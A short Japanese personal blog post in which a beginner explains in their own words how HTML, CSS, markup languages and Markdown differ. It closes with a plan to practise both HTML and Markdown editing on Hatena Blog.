次回は別のブログでmarkdown記法で記述する練習する。見たままのhtml編集との違いを試したい。また、コマンドをもっと明確に表示できるようにしたいと思っています。

2023/08/05

HTMLとMarkdownの違い

そもそもここの違いがわからないと思ったので書く。

HTML

HyperText Markup Languageの略。

つまり、マークアップ言語のひとつ。

HTMLはwebサイトを作成する際のコンピュータへの指示書。

ついでにCSS

Cascading Style Sheetsの略。

HTMLを装飾する。

HTMLとの違い。

指定する対象。

HTML:文章の構造

CSS:色やサイズ。

HTMLとは?CSSとの違いやメリット・デメリット、代表的なタグについても解説|生涯学習のユーキャン (u-can.co.jp)

マークアップ言語

文書に特殊な記号やタグを入れることで、その部分や意味や機能を表す。

【初心者向け】マークアップ言語とは?3分でわかりやすく解説 | ビズドットオンライン (it-biz.online)

HTMLはwebサイトを作成するマークアップ言語。

webサイトを表示するときにも、何かしらのファイルをコンピュータが読み込んで表示するわけである。そのファイルにただ伝えたい言葉をべた書きしても見にくい。つまり、装飾をして、見やすいwebサイトを作りたいというニーズある。その時にここは太字、ここはリスト、ここはタイトルのようにコンピュータに文書の中身の部分部分の役割を伝えるための言語がマークアップ言語である。この言語の記号やタグを使うことで文書を装飾することができる。HTMLはその装飾の一つということだ。

CSSも一つといえるのかもしえれない。

markdown

文章の書き方と書いてある。マークアップを簡単にしたものというような書き方をされていた。自分的にはマークアップ言語のひとつのような気がする。マークアップ言語がコンピュータに文書の装飾を伝える言語の総称とするならmarkdownもその記法に従って記述することで、文書を装飾することができるという点ではマークアップ言語に内包されるように思う。ただ、マークアップ言語の記法より、簡単という特徴はあるようだ。

Markdownとは · 日本語Markdownユーザー会

【マークダウン記法とは?】マークダウンの書き方を網羅的に解説 | Backlogブログ

 

つまり、はてなブログにはHTMLの書き方とmarkdownの書き方を練習できるようになっているようだ。ま、両方やってみるのが吉ということでいろいろ試す。